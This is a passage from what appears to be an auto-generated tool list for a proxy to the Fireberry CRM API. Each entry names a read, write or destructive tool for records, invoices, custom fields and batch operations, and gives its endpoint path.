DELETE /api/record/activitylog/{id} DELETE /api/v1/fireberry/api/record/activitylog/{id}. Scopes: api. fireberry_delete_api_record_article_by_id (write, destructive) — Delete an article via DELETE /api/record/article/{id} DELETE /api/v1/fireberry/api/record/article/{id}. Scopes: api. fireberry_delete_api_record_businessunit_by_id (write, destructive) — Delete a businessunit via DELETE /api/record/businessunit/{id} DELETE /api/v1/fireberry/api/record/businessunit/{id}. Scopes: api. fireberry_delete_api_record_by_objectcode_by_id (write, destructive) — Delete a custom object record via DELETE /api/record/{objectcode}/{id} DELETE /api/v1/fireberry/api/record/{objectcode}/{id}. Scopes: api. fireberry_delete_api_record_calllog_by_id (write, destructive) — Delete a phone call via DELETE /api/record/calllog/{id} DELETE /api/v1/fireberry/api/record/calllog/{id}. Scopes: api. fireberry_delete_api_record_campaign_by_id (write, destructive) — Delete a campaign via DELETE /api/record/campaign/{id} DELETE /api/v1/fireberry/api/record/campaign/{id}. Scopes: api. fireberry_delete_api_record_cases_by_id (write, destructive) — Delete a ticket via DELETE /api/record/cases/{id} DELETE /api/v1/fireberry/api/record/cases/{id}. Scopes: api. fireberry_delete_api_record_competitor_by_id (write, destructive) — Delete a competitors via DELETE /api/record/competitor/{id} DELETE /api/v1/fireberry/api/record/competitor/{id}. Scopes: api. fireberry_delete_api_record_contact_by_id (write, destructive) — Delete a contact via DELETE /api/record/contact/{id} DELETE /api/v1/fireberry/api/record/contact/{id}. Scopes: api. fireberry_delete_api_record_contract_by_id (write, destructive) — Delete a contract via DELETE /api/record/contract/{id} DELETE /api/v1/fireberry/api/record/contract/{id}. Scopes: api. fireberry_delete_api_record_crmorderitem_by_id (write, destructive) — Delete an order item via DELETE /api/record/crmorderitem/{id} DELETE /api/v1/fireberry/api/record/crmorderitem/{id}. Scopes: api. fireberry_delete_api_record_note_by_id (write, destructive) — Delete a note via DELETE /api/record/note/{id} DELETE /api/v1/fireberry/api/record/note/{id}. Scopes: api. fireberry_delete_api_record_opportunity_by_id (write, destructive) — Delete an opportunity via DELETE /api/record/opportunity/{id} DELETE /api/v1/fireberry/api/record/opportunity/{id}. Scopes: api. fireberry_delete_api_record_product_by_id (write, destructive) — Delete a product via DELETE /api/record/product/{id} DELETE /api/v1/fireberry/api/record/product/{id}. Scopes: api. fireberry_delete_api_record_project_by_id (write, destructive) — Delete a project via DELETE /api/record/project/{id} DELETE /api/v1/fireberry/api/record/project/{id}. Scopes: api. fireberry_delete_api_record_task_by_id (write, destructive) — Delete a task via DELETE /api/record/task/{id} DELETE /api/v1/fireberry/api/record/task/{id}. Scopes: api. fireberry_delete_api_v2_system_field_by_objecttype_by_fieldtype_by_fieldname (write, destructive) — Delete a custom field via DELETE /api/v2/system-field/{objectType}/{fieldType}/{fieldName} DELETE /api/v1/fireberry/api/v2/system-field/{objectType}/{fieldType}/{fieldName}. Scopes: api. fireberry_get_api_record_account (read) — Get all accounts via GET /api/record/account GET /api/v1/fireberry/api/record/account. Scopes: api. fireberry_get_api_record_account_by_id (read) — Get an account via GET /api/record/account/{id} GET /api/v1/fireberry/api/record/account/{id}. Scopes: api. fireberry_get_api_record_accountproduct (read) — Get all assets via GET /api/record/accountproduct GET /api/v1/fireberry/api/record/accountproduct. Scopes: api. fireberry_get_api_record_accountproduct_by_id (read) — Get an asset via GET /api/record/accountproduct/{id} GET /api/v1/fireberry/api/record/accountproduct/{id}. Scopes: api. fireberry_get_api_record_activity (read) — Get all meetings via GET /api/record/activity GET /api/v1/fireberry/api/record/activity. Scopes: api. fireberry_get_api_record_activity_by_id (read) — Get a meeting via GET /api/record/activity/{id} GET /api/v1/fireberry/api/record/activity/{id}. Scopes: api. fireberry_get_api_record_activitylog (read) — Get all activity logs via GET /api/record/activitylog GET /api/v1/fireberry/api/record/activitylog. Scopes: api. fireberry_get_api_record_activitylog_by_id (read) — Get an activity log via GET /api/record/activitylog/{id} GET /api/v1/fireberry/api/record/activitylog/{id}. Scopes: api. fireberry_get_api_record_article (read) — Get all articles via GET /api/record/article GET /api/v1/fireberry/api/record/article. Scopes: api. fireberry_get_api_record_article_by_id (read) — Get an article via GET /api/record/article/{id} GET /api/v1/fireberry/api/record/article/{id}. Scopes: api. fireberry_get_api_record_businessunit (read) — Get all business units via GET /api/record/businessunit GET /api/v1/fireberry/api/record/businessunit. Scopes: api. fireberry_get_api_record_businessunit_by_id (read) — Get a business unit via GET /api/record/businessunit/{id} GET /api/v1/fireberry/api/record/businessunit/{id}. Scopes: api. fireberry_get_api_record_by_objectcode (read) — Get all custom object records via GET /api/record/{objectcode} GET /api/v1/fireberry/api/record/{objectcode}. Scopes: api. fireberry_get_api_record_by_objectcode_by_id (read) — Get a custom object record via GET /api/record/{objectcode}/{id} GET /api/v1/fireberry/api/record/{objectcode}/{id}. Scopes: api. fireberry_get_api_record_by_objecttype_by_id_by_relatedobjecttype (read) — Get all accounts 1 via GET /api/record/{objectType}/{id}/{relatedObjectType} GET /api/v1/fireberry/api/record/{objectType}/{id}/{relatedObjectType}. Scopes: api. fireberry_get_api_record_calllog (read) — Get all phone calls via GET /api/record/calllog GET /api/v1/fireberry/api/record/calllog. Scopes: api. fireberry_get_api_record_calllog_by_id (read) — Get a phone call via GET /api/record/calllog/{id} GET /api/v1/fireberry/api/record/calllog/{id}. Scopes: api. fireberry_get_api_record_campaign (read) — Get all campaigns via GET /api/record/campaign GET /api/v1/fireberry/api/record/campaign. Scopes: api. fireberry_get_api_record_campaign_by_id (read) — Get a campaign via GET /api/record/campaign/{id} GET /api/v1/fireberry/api/record/campaign/{id}. Scopes: api. fireberry_get_api_record_cases (read) — Get all tickets via GET /api/record/cases GET /api/v1/fireberry/api/record/cases. Scopes: api. fireberry_get_api_record_cases_by_id (read) — Get a ticket via GET /api/record/cases/{id} GET /api/v1/fireberry/api/record/cases/{id}. Scopes: api. fireberry_get_api_record_competitor (read) — Get all competitors via GET /api/record/competitor GET /api/v1/fireberry/api/record/competitor. Scopes: api. fireberry_get_api_record_competitor_by_id (read) — Get a competitor via GET /api/record/competitor/{id} GET /api/v1/fireberry/api/record/competitor/{id}. Scopes: api. fireberry_get_api_record_contact (read) — Get all contacts via GET /api/record/contact GET /api/v1/fireberry/api/record/contact. Scopes: api. fireberry_get_api_record_contact_by_id (read) — Get a contact via GET /api/record/contact/{id} GET /api/v1/fireberry/api/record/contact/{id}. Scopes: api. fireberry_get_api_record_contract_by_id (read) — Get a contract via GET /api/record/contract/{id} GET /api/v1/fireberry/api/record/contract/{id}. Scopes: api. fireberry_get_api_record_contracts (read) — Get all contracts via GET /api/record/contract GET /api/v1/fireberry/api/record/contract. Scopes: api. fireberry_get_api_record_crmorder (read) — Get all orders via GET /api/record/crmorder GET /api/v1/fireberry/api/record/crmorder. Scopes: api. fireberry_get_api_record_crmorder_by_id (read) — Get an order via GET /api/record/crmorder/{id} GET /api/v1/fireberry/api/record/crmorder/{id}. Scopes: api. fireberry_get_api_record_crmorderitem (read) — Get all order items via GET /api/record/crmorderitem GET /api/v1/fireberry/api/record/crmorderitem. Scopes: api. fireberry_get_api_record_crmorderitem_by_id (read) — Get an order item via GET /api/record/crmorderitem/{id} GET /api/v1/fireberry/api/record/crmorderitem/{id}. Scopes: api. fireberry_get_api_record_crmuser (read) — Get all users via GET /api/record/crmuser GET /api/v1/fireberry/api/record/crmuser. Scopes: api. fireberry_get_api_record_crmuser_by_id (read) — Get a user via GET /api/record/crmuser/{id} GET /api/v1/fireberry/api/record/crmuser/{id}. Scopes: api. fireberry_get_api_record_invoice (read) — Get all transactions via GET /api/record/invoice GET /api/v1/fireberry/api/record/invoice. Scopes: api. fireberry_get_api_record_invoice_by_id (read) — Get a transaction via GET /api/record/invoice/{id} GET /api/v1/fireberry/api/record/invoice/{id}. Scopes: api. fireberry_get_api_record_invoicecredit (read) — Get all credit invoices via GET /api/record/invoicecredit GET /api/v1/fireberry/api/record/invoicecredit. Scopes: api. fireberry_get_api_record_invoicecredit_by_id (read) — Get a credit invoice via GET /api/record/invoicecredit/{id} GET /api/v1/fireberry/api/record/invoicecredit/{id}. Scopes: api. fireberry_get_api_record_invoicedelivery (read) — Get all delivery invoices via GET /api/record/invoicedelivery GET /api/v1/fireberry/api/record/invoicedelivery. Scopes: api. fireberry_get_api_record_invoicedelivery_by_id (read) — Get a delivery invoice via GET /api/record/invoicedelivery/{id} GET /api/v1/fireberry/api/record/invoicedelivery/{id}. Scopes: api. fireberry_get_api_record_invoicedraft (read) — Get all draft invoices via GET /api/record/invoicedraft GET /api/v1/fireberry/api/record/invoicedraft. Scopes: api. fireberry_get_api_record_invoicedraft_by_id (read) — Get a draft invoice via GET /api/record/invoicedraft/{id} GET /api/v1/fireberry/api/record/invoicedraft/{id}. Scopes: api. fireberry_get_api_record_invoiceno (read) — Get all invoices via GET /api/record/invoiceno GET /api/v1/fireberry/api/record/invoiceno. Scopes: api. fireberry_get_api_record_invoiceno_by_id (read) — Get an invoice via GET /api/record/invoiceno/{id} GET /api/v1/fireberry/api/record/invoiceno/{id}. Scopes: api. fireberry_get_api_record_invoicereceipt (read) — Get all receipts via GET /api/record/invoicereceipt GET /api/v1/fireberry/api/record/invoicereceipt. Scopes: api. fireberry_get_api_record_invoicereceipt_by_id (read) — Get a receipt via GET /api/record/invoicereceipt/{id} GET /api/v1/fireberry/api/record/invoicereceipt/{id}. Scopes: api. fireberry_get_api_record_invoicereno (read) — Get all recipt invoices via GET /api/record/invoicereno GET /api/v1/fireberry/api/record/invoicereno. Scopes: api. fireberry_get_api_record_invoicereno_by_id (read) — Get a recipt invoice via GET /api/record/invoicereno/{id} GET /api/v1/fireberry/api/record/invoicereno/{id}. Scopes: api. fireberry_get_api_record_note (read) — Get all notes via GET /api/record/note GET /api/v1/fireberry/api/record/note. Scopes: api. fireberry_get_api_record_note_by_id (read) — Get a note via GET /api/record/note/{id} GET /api/v1/fireberry/api/record/note/{id}. Scopes: api. fireberry_get_api_record_opportunity (read) — Get all opportunity via GET /api/record/opportunity GET /api/v1/fireberry/api/record/opportunity. Scopes: api. fireberry_get_api_record_opportunity_by_id (read) — Get an opportunity via GET /api/record/opportunity/{id} GET /api/v1/fireberry/api/record/opportunity/{id}. Scopes: api. fireberry_get_api_record_product (read) — Get all product via GET /api/record/product GET /api/v1/fireberry/api/record/product. Scopes: api. fireberry_get_api_record_product_by_id (read) — Get a product via GET /api/record/product/{id} GET /api/v1/fireberry/api/record/product/{id}. Scopes: api. fireberry_get_api_record_project (read) — Get all projects via GET /api/record/project GET /api/v1/fireberry/api/record/project. Scopes: api. fireberry_get_api_record_project_by_id (read) — Get a project via GET /api/record/project/{id} GET /api/v1/fireberry/api/record/project/{id}. Scopes: api. fireberry_get_api_record_task (read) — Get all tasks via GET /api/record/task GET /api/v1/fireberry/api/record/task. Scopes: api. fireberry_get_api_record_task_by_id (read) — Get a task via GET /api/record/task/{id} GET /api/v1/fireberry/api/record/task/{id}. Scopes: api. fireberry_get_api_record_transactionitem (read) — Get all transactions items via GET /api/record/transactionitem GET /api/v1/fireberry/api/record/transactionitem. Scopes: api. fireberry_get_api_record_transactionitem_by_id (read) — Get a transaction item via GET /api/record/transactionItem/{id} GET /api/v1/fireberry/api/record/transactionItem/{id}. Scopes: api. fireberry_get_api_v2_record_13_by_id_items (read) — Get order items via GET /api/v2/record/13/{id}/items GET /api/v1/fireberry/api/v2/record/13/{id}/items. Scopes: api. fireberry_get_api_v2_record_81_by_id_items (read) — Get invoice items via GET /api/v2/record/81/{id}/items GET /api/v1/fireberry/api/v2/record/81/{id}/items. Scopes: api. fireberry_get_api_v2_record_83_by_id_receiptitems (read) — Get receipt items via GET /api/v2/record/83/{id}/receiptitems GET /api/v1/fireberry/api/v2/record/83/{id}/receiptitems. Scopes: api. fireberry_get_api_v2_record_84_by_id_items (read) — Get recipt invoice items via GET /api/v2/record/84/{id}/items GET /api/v1/fireberry/api/v2/record/84/{id}/items. Scopes: api. fireberry_get_api_v2_record_84_by_id_receiptitems (read) — Get a recipient invoice recipient item via GET /api/v2/record/84/{id}/receiptitems GET /api/v1/fireberry/api/v2/record/84/{id}/receiptitems. Scopes: api. fireberry_get_api_v2_record_85_by_id_items (read) — Get credit invoice items via GET /api/v2/record/85/{id}/items GET /api/v1/fireberry/api/v2/record/85/{id}/items. Scopes: api. fireberry_get_records (read) — Get all objects via GET /metadata/records GET /api/v1/fireberry/metadata/records. Scopes: api. fireberry_get_records_by_id (read) — Get an object via GET /metadata/records/{id} GET /api/v1/fireberry/metadata/records/{id}. Scopes: api. fireberry_get_records_by_id_fields (read) — Get an object fields via GET /metadata/records/{id}/fields GET /api/v1/fireberry/metadata/records/{id}/fields. Scopes: api. fireberry_get_records_by_id_fields_by_fieldname (read) — Get a field details via GET /metadata/records/{id}/fields/{fieldname} GET /api/v1/fireberry/metadata/records/{id}/fields/{fieldname}. Scopes: api. fireberry_get_records_by_id_fields_by_fieldname_values (read) — Get an object field values via GET /metadata/records/{id}/fields/{fieldname}/values GET /api/v1/fireberry/metadata/records/{id}/fields/{fieldname}/values. Scopes: api. fireberry_post_api_query (read) — Query request via POST /api/query POST /api/v1/fireberry/api/query. Scopes: api. fireberry_post_api_record_account (write) — Create an account via POST /api/record/account POST /api/v1/fireberry/api/record/account. Scopes: api. fireberry_post_api_record_accountproduct (write) — Create an asset via POST /api/record/accountproduct POST /api/v1/fireberry/api/record/accountproduct. Scopes: api. fireberry_post_api_record_activity (write) — Create a meeting via POST /api/record/activity POST /api/v1/fireberry/api/record/activity. Scopes: api. fireberry_post_api_record_activitylog (write) — Create an activity log via POST /api/record/activitylog POST /api/v1/fireberry/api/record/activitylog. Scopes: api. fireberry_post_api_record_article (write) — Create an article via POST /api/record/article POST /api/v1/fireberry/api/record/article. Scopes: api. fireberry_post_api_record_businessunit (write) — Create a business unit via POST /api/record/businessunit POST /api/v1/fireberry/api/record/businessunit. Scopes: api. fireberry_post_api_record_by_objectcode (write) — Create a custom object record via POST /api/record/{objectcode} POST /api/v1/fireberry/api/record/{objectcode}. Scopes: api. fireberry_post_api_record_calllog (write) — Create a phone call via POST /api/record/calllog POST /api/v1/fireberry/api/record/calllog. Scopes: api. fireberry_post_api_record_campaign (write) — Create a campaign via POST /api/record/campaign POST /api/v1/fireberry/api/record/campaign. Scopes: api. fireberry_post_api_record_cases (write) — Create a ticket via POST /api/record/cases POST /api/v1/fireberry/api/record/cases. Scopes: api. fireberry_post_api_record_competitor (write) — Create a competitor via POST /api/record/competitor POST /api/v1/fireberry/api/record/competitor. Scopes: api. fireberry_post_api_record_contact (write) — Create a contact via POST /api/record/contact POST /api/v1/fireberry/api/record/contact. Scopes: api. fireberry_post_api_record_contract (write) — Create a contract via POST /api/record/Contract POST /api/v1/fireberry/api/record/Contract. Scopes: api. fireberry_post_api_record_crmorder (write) — Create an order via POST /api/record/crmorder POST /api/v1/fireberry/api/record/crmorder. Scopes: api. fireberry_post_api_record_crmorderitem (write) — Create an order item via POST /api/record/crmorderitem POST /api/v1/fireberry/api/record/crmorderitem. Scopes: api. fireberry_post_api_record_invoicecredit (write) — Create a credit invoice via POST /api/record/invoicecredit POST /api/v1/fireberry/api/record/invoicecredit. Scopes: api. fireberry_post_api_record_invoicedelivery (write) — Create a delivery invoice via POST /api/record/invoicedelivery POST /api/v1/fireberry/api/record/invoicedelivery. Scopes: api. fireberry_post_api_record_invoicedraft (write) — Create a draft invoice via POST /api/record/invoicedraft POST /api/v1/fireberry/api/record/invoicedraft. Scopes: api. fireberry_post_api_record_invoiceno (write) — Create an invoice via POST /api/record/invoiceno POST /api/v1/fireberry/api/record/invoiceno. Scopes: api. fireberry_post_api_record_invoicereceipt (write) — Create a receipt via POST /api/record/invoicereceipt POST /api/v1/fireberry/api/record/invoicereceipt. Scopes: api. fireberry_post_api_record_invoicereno (write) — Create a recipt invoice via POST /api/record/invoicereno POST /api/v1/fireberry/api/record/invoicereno. Scopes: api. fireberry_post_api_record_note (write) — Create a note via POST /api/record/note POST /api/v1/fireberry/api/record/note. Scopes: api. fireberry_post_api_record_opportunity (write) — Create an opportunity via POST /api/record/opportunity POST /api/v1/fireberry/api/record/opportunity. Scopes: api. fireberry_post_api_record_product (write) — Create a product via POST /api/record/product POST /api/v1/fireberry/api/record/product. Scopes: api. fireberry_post_api_record_project (write) — Create a project via POST /api/record/project POST /api/v1/fireberry/api/record/project. Scopes: api. fireberry_post_api_record_task (write) — Create a task via POST /api/record/task POST /api/v1/fireberry/api/record/task. Scopes: api. fireberry_post_api_v2_record_58 (write) — Create a custom object via POST /api/v2/record/58 POST /api/v1/fireberry/api/v2/record/58. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_date (write) — Create a date field via POST /api/v2/system-field/{objectType}/date POST /api/v1/fireberry/api/v2/system-field/{objectType}/date. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_datetime (write) — Create a date time field via POST /api/v2/system-field/{objectType}/datetime POST /api/v1/fireberry/api/v2/system-field/{objectType}/datetime. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_emailaddress (write) — Create an email address field via POST /api/v2/system-field/{objectType}/emailaddress POST /api/v1/fireberry/api/v2/system-field/{objectType}/emailaddress. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_formula (write) — Create a formula field via POST /api/v2/system-field/{objectType}/formula POST /api/v1/fireberry/api/v2/system-field/{objectType}/formula. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_html (write) — Create a html field via POST /api/v2/system-field/{objectType}/html POST /api/v1/fireberry/api/v2/system-field/{objectType}/html. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_lookup (write) — Create a lookup field via POST /api/v2/system-field/{objectType}/lookup POST /api/v1/fireberry/api/v2/system-field/{objectType}/lookup. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_number (write) — Create a number field via POST /api/v2/system-field/{objectType}/number POST /api/v1/fireberry/api/v2/system-field/{objectType}/number. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_phonenumber (write) — Create a phone number field via POST /api/v2/system-field/{objectType}/phonenumber POST /api/v1/fireberry/api/v2/system-field/{objectType}/phonenumber. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_picklist (write) — Create a picklist field via POST /api/v2/system-field/{objectType}/picklist POST /api/v1/fireberry/api/v2/system-field/{objectType}/picklist. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_summary (write) — Create a summary field via POST /api/v2/system-field/{objectType}/summary POST /api/v1/fireberry/api/v2/system-field/{objectType}/summary. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_text (write) — Create a text field via POST /api/v2/system-field/{objectType}/text POST /api/v1/fireberry/api/v2/system-field/{objectType}/text. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_textarea (write) — Create a text area field via POST /api/v2/system-field/{objectType}/textarea POST /api/v1/fireberry/api/v2/system-field/{objectType}/textarea. Scopes: api. fireberry_post_api_v2_system_field_by_objecttype_url (write) — Create a url field via POST /api/v2/system-field/{objectType}/url POST /api/v1/fireberry/api/v2/system-field/{objectType}/url. Scopes: api. fireberry_post_api_v3_query (read) — Query request v3 via POST /api/v3/query POST /api/v1/fireberry/api/v3/query. Scopes: api. fireberry_post_api_v3_record_account_batch_create (write) — Batch create account records via POST /api/v3/record/account/batch/create POST /api/v1/fireberry/api/v3/record/account/batch/create. Scopes: api. fireberry_post_api_v3_record_account_batch_delete (write) — Batch delete account records via POST /api/v3/record/account/batch/delete POST /api/v1/fireberry/api/v3/record/account/batch/delete. Scopes: api. fireberry_post_api_v3_record_account_batch_update (write) — Batch update account records via POST /api/v3/record/account/batch/update POST /api/v1/fireberry/api/v3/record/account/batch/update. Scopes: api. fireberry_post_api_v3_record_accountproduct_batch_create (write) — Batch create asset records via POST /api/v3/record/accountproduct/batch/create POST /api/v1/fireberry/api/v3/record/accountproduct/batch/create. Scopes: api. fireberry_post_api_v3_record_accountproduct_batch_delete (write) — Batch delete asset records via POST /api/v3/record/accountproduct/batch/delete POST /api/v1/fireberry/api/v3/record/accountproduct/batch/delete. Scopes: api. fireberry_post_api_v3_record_accountproduct_batch_update (write) — Batch update asset records via POST /api/v3/record/accountproduct/batch/update POST /api/v1/fireberry/api/v3/record/accountproduct/batch/update. Scopes: api. fireberry_post_api_v3_record_activity_batch_create (write) — Batch create meeting records via POST /api/v3/record/activity/batch/create POST /api/v1/fireberry/api/v3/record/activity/batch/create. Scopes: api. fireberry_post_api_v3_record_activity_batch_delete (write) — Batch delete meeting records via POST /api/v3/record/activity/batch/delete POST /api/v1/fireberry/api/v3/record/activity/batch/delete. Scopes: api. fireberry_post_api_v3_record_activity_batch_update (write) — Batch update meeting records via POST /api/v3/record/activity/batch/update POST /api/v1/fireberry/api/v3/record/activity/batch/update. Scopes: api. fireberry_post_api_v3_record_activitylog_batch_create (write) — Batch create activity log records via POST /api/v3/record/activitylog/batch/create POST /api/v1/fireberry/api/v3/record/activitylog/batch/create. Scopes: api. fireberry_post_api_v3_record_activitylog_batch_delete (write) — Batch delete activity log records via POST /api/v3/record/activitylog/batch/delete POST /api/v1/fireberry/api/v3/record/activitylog/batch/delete. Scopes: api. fireberry_post_api_v3_record_activitylog_batch_update (write) — Batch update activity log records via POST /api/v3/record/activitylog/batch/update POST /api/v1/fireberry/api/v3/record/activitylog/batch/update. Scopes: api. fireberry_post_api_v3_record_article_batch_create (write) — Batch create article records via POST /api/v3/record/article/batch/create POST /api/v1/fireberry/api/v3/record/article/batch/create. Scopes: api. fireberry_post_api_v3_record_article_batch_delete (write) — Batch delete article records via POST /api/v3/record/article/batch/delete POST /api/v1/fireberry/api/v3/record/article/batch/delete. Scopes: api. fireberry_post_api_v3_record_article_batch_update (write) — Batch update article records via POST /api/v3/record/article/batch/update POST /api/v1/fireberry/api/v3/record/article/batch/update. Scopes: api. fireberry_post_api_v3_record_businessunit_batch_create (write) — Batch create business unit records via POST /api/v3/record/businessunit/batch/create POST /api/v1/fireberry/api/v3/record/businessunit/batch/create. Scopes: api. fireberry_post_api_v3_record_businessunit_batch_delete (write) — Batch delete business unit records via POST /api/v3/record/businessunit/batch/delete POST /api/v1/fireberry/api/v3/record/businessunit/batch/delete. Scopes: api. fireberry_post_api_v3_record_businessunit_batch_update (write) — Batch update business unit records via POST /api/v3/record/businessunit/batch/update POST /api/v1/fireberry/api/v3/record/businessunit/batch/update. Scopes: api. fireberry_post_api_v3_record_by_objectcode_batch_delete (write) — Batch delete custom records via POST /api/v3/record/{objectcode}/batch/delete POST /api/v1/fireberry/api/v3/record/{objectcode}/batch/delete. Scopes: api. fireberry_post_api_v3_record_calllog_batch_create (write) — Batch create phone call records via POST /api/v3/record/calllog/batch/create POST /api/v1/fireberry/api/v3/record/calllog/batch/create. Scopes: api. fireberry_post_api_v3_record_calllog_batch_delete (write) — Batch delete phone call records via POST /api/v3/record/calllog/batch/delete POST /api/v1/fireberry/api/v3/record/calllog/batch/delete. Scopes: api. fireberry_post_api_v3_record_calllog_batch_update (write) — Batch update phone call records via POST /api/v3/record/calllog/batch/update POST /api/v1/fireberry/api/v3/record/calllog/batch/update. Scopes: api. fireberry_post_api_v3_record_campaign_batch_create (write) — Batch create campaign records via POST /api/v3/record/campaign/batch/create POST /api/v1/fireberry/api/v3/record/campaign/batch/create. Scopes: api. fireberry_post_api_v3_record_campaign_batch_delete (write) — Batch delete campaign records via POST /api/v3/record/campaign/batch/delete POST /api/v1/fireberry/api/v3/record/campaign/batch/delete. Scopes: api. fireberry_post_api_v3_record_campaign_batch_update (write) — Batch update campaign records via POST /api/v3/record/campaign/batch/update POST /api/v1/fireberry/api/v3/record/campaign/batch/update. Scopes: api. fireberry_post_api_v3_record_cases_batch_create (write) — Batch create ticket records via POST /api/v3/record/cases/batch/create POST /api/v1/fireberry/api/v3/record/cases/batch/create. Scopes: api. fireberry_post_api_v3_record_cases_batch_delete (write) — Batch delete ticket records via POST /api/v3/record/cases/batch/delete POST /api/v1/fireberry/api/v3/record/cases/batch/delete. Scopes: api. fireberry_post_api_v3_record_cases_batch_update (write) — Batch update ticket records via POST /api/v3/record/cases/batch/update POST /api/v1/fireberry/api/v3/record/cases/batch/update. Scopes: api. fireberry_post_api_v3_record_competitor_batch_create (write) — Batch create competitor records via POST /api/v3/record/competitor/batch/create POST /api/v1/fireberry/api/v3/record/competitor/batch/create. Scopes: api. fireberry_post_api_v3_record_competitor_batch_delete (write) — Batch delete competitor records via POST /api/v3/record/competitor/batch/delete POST /api/v1/fireberry/api/v3/record/competitor/batch/delete. Scopes: api. fireberry_post_api_v3_record_competitor_batch_update (write) — Batch update competitor records via POST /api/v3/record/competitor/batch/update POST /api/v1/fireberry/api/v3/record/competitor/batch/update. Scopes: api. fireberry_post_api_v3_record_contact_batch_create (write) — Batch create contact records via POST /api/v3/record/contact/batch/create POST /api/v1/fireberry/api/v3/record/contact/batch/create. Scopes: api. fireberry_post_api_v3_record_contact_batch_delete (write) — Batch delete contact records via POST /api/v3/record/contact/batch/delete POST /api/v1/fireberry/api/v3/record/contact/batch/delete. Scopes: api. fireberry_post_api_v3_record_contact_batch_update (write) — Batch update contact records via POST /api/v3/record/contact/batch/update POST /api/v1/fireberry/api/v3/record/contact/batch/update. Scopes: api. fireberry_post_api_v3_record_contract_batch_create (write) — Batch create contract records via POST /api/v3/record/contract/batch/create POST /api/v1/fireberry/api/v3/record/contract/batch/create. Scopes: api. fireberry_post_api_v3_record_contract_batch_delete (write) — Batch delete contract records via POST /api/v3/record/contract/batch/delete POST /api/v1/fireberry/api/v3/record/contract/batch/delete. Scopes: api. fireberry_post_api_v3_record_contract_batch_update (write) — Batch update contract records via POST /api/v3/record/contract/batch/update POST /api/v1/fireberry/api/v3/record/contract/batch/update. Scopes: api. fireberry_post_api_v3_record_crmorder_batch_create (write) — Batch create order records via POST /api/v3/record/crmorder/batch/create POST /api/v1/fireberry/api/v3/record/crmorder/batch/create. Scopes: api. fireberry_post_api_v3_record_crmorder_batch_update (write) — Batch update order records via POST /api/v3/record/crmorder/batch/update POST /api/v1/fireberry/api/v3/record/crmorder/batch/update. Scopes: api. fireberry_post_api_v3_record_crmorderitem_batch_create (write) — Batch create order item records via POST /api/v3/record/crmorderitem/batch/create POST /api/v1/fireberry/api/v3/record/crmorderitem/batch/create. Scopes: api. fireberry_post_api_v3_record_crmorderitem_batch_delete (write) — Batch delete order item records via POST /api/v3/record/crmorderitem/batch/delete POST /api/v1/fireberry/api/v3/record/crmorderitem/batch/delete. Scopes: api. fireberry_post_api_v3_record_crmorderitem_batch_update (write) — Batch update order item records via POST /api/v3/record/crmorderitem/batch/update POST /api/v1/fireberry/api/v3/record/crmorderitem/batch/update. Scopes: api. fireberry_post_api_v3_record_crmuser_batch_update (write) — Batch update user records via POST /api/v3/record/crmuser/batch/update POST /api/v1/fireberry/api/v3/record/crmuser/batch/update. Scopes: api. fireberry_post_api_v3_record_invoicecredit_batch_create (write) — Batch create credit invoice records via POST /api/v3/record/invoicecredit/batch/create POST /api/v1/fireberry/api/v3/record/invoicecredit/batch/create. Scopes: api. fireberry_post_api_v3_record_invoicecredit_batch_update (write) — Batch update credit invoice records via POST /api/v3/record/invoicecredit/batch/update POST /api/v1/fireberry/api/v3/record/invoicecredit/batch/update. Scopes: api. fireberry_post_api_v3_record_invoicedelivery_batch_create (write) — Batch create delivery invoice records via POST /api/v3/record/invoicedelivery/batch/create POST /api/v1/fireberry/api/v3/record/invoicedelivery/batch/create. Scopes: api. fireberry_post_api_v3_record_invoicedelivery_batch_update (write) — Batch update delivery invoice records via POST /api/v3/record/invoicedelivery/batch/update POST /api/v1/fireberry/api/v3/record/invoicedelivery/batch/update. Scopes: api. fireberry_post_api_v3_record_invoicedraft_batch_create (write) — Batch create draft invoice records via POST /api/v3/record/invoicedraft/batch/create POST /api/v1/fireberry/api/v3/record/invoicedraft/batch/create. Scopes: api. fireberry_post_api_v3_record_invoicedraft_batch_update (write) — Batch update draft invoice records via POST /api/v3/record/invoicedraft/batch/update POST /api/v1/fireberry/api/v3/record/invoicedraft/batch/update. Scopes: api. fireberry_post_api_v3_record_invoiceno_batch_create (write) — Batch create invoice records via POST /api/v3/record/invoiceno/batch/create POST /api/v1/fireberry/api/v3/record/invoiceno/batch/create. Scopes: api. fireberry_post_api_v3_record_invoiceno_batch_update (write) — Batch update invoice records via POST /api/v3/record/invoiceno/batch/update POST /api/v1/fireberry/api/v3/record/invoiceno/batch/update. Scopes: api. fireberry_post_api_v3_record_invoicereceipt_batch_create (write) — Batch create receipt records via POST /api/v3/record/invoicereceipt/batch/create POST /api/v1/fireberry/api/v3/record/invoicereceipt/batch/create. Scopes: api. fireberry_post_api_v3_record_invoicereceipt_batch_update (write) — Batch update receipt records via POST /api/v3/record/invoicereceipt/batch/update POST /api/v1/fireberry/api/v3/record/invoicereceipt/batch/update. Scopes: api. fireberry_post_api_v3_record_invoicereno_batch_create (write) — Batch create invoice receipts records via POST /api/v3/record/invoicereno/batch/create POST /api/v1/fireberry/api/v3/record/invoicereno/batch/create. Scopes: api. fireberry_post_api_v3_record_invoicereno_batch_update (write) — Batch update invoice receipts records via POST /api/v3/record/invoicereno/batch/update POST /api/v1/fireberry/api/v3/record/invoicereno/batch/update. Scopes: api. fireberry_post_api_v3_record_note_batch_create (write) — Batch create note records via POST /api/v3/record/note/batch/create POST /api/v1/fireberry/api/v3/record/note/batch/create. Scopes: api. fireberry_post_api_v3_record_note_batch_delete (write) — Batch delete note records via POST /api/v3/record/note/batch/delete POST /api/v1/fireberry/api/v3/record/note/batch/delete. Scopes: api. fireberry_post_api_v3_record_opportunity_batch_create (write) — Batch create opportunity records via POST /api/v3/record/opportunity/batch/create POST /api/v1/fireberry/api/v3/record/opportunity/batch/create. Scopes: api. 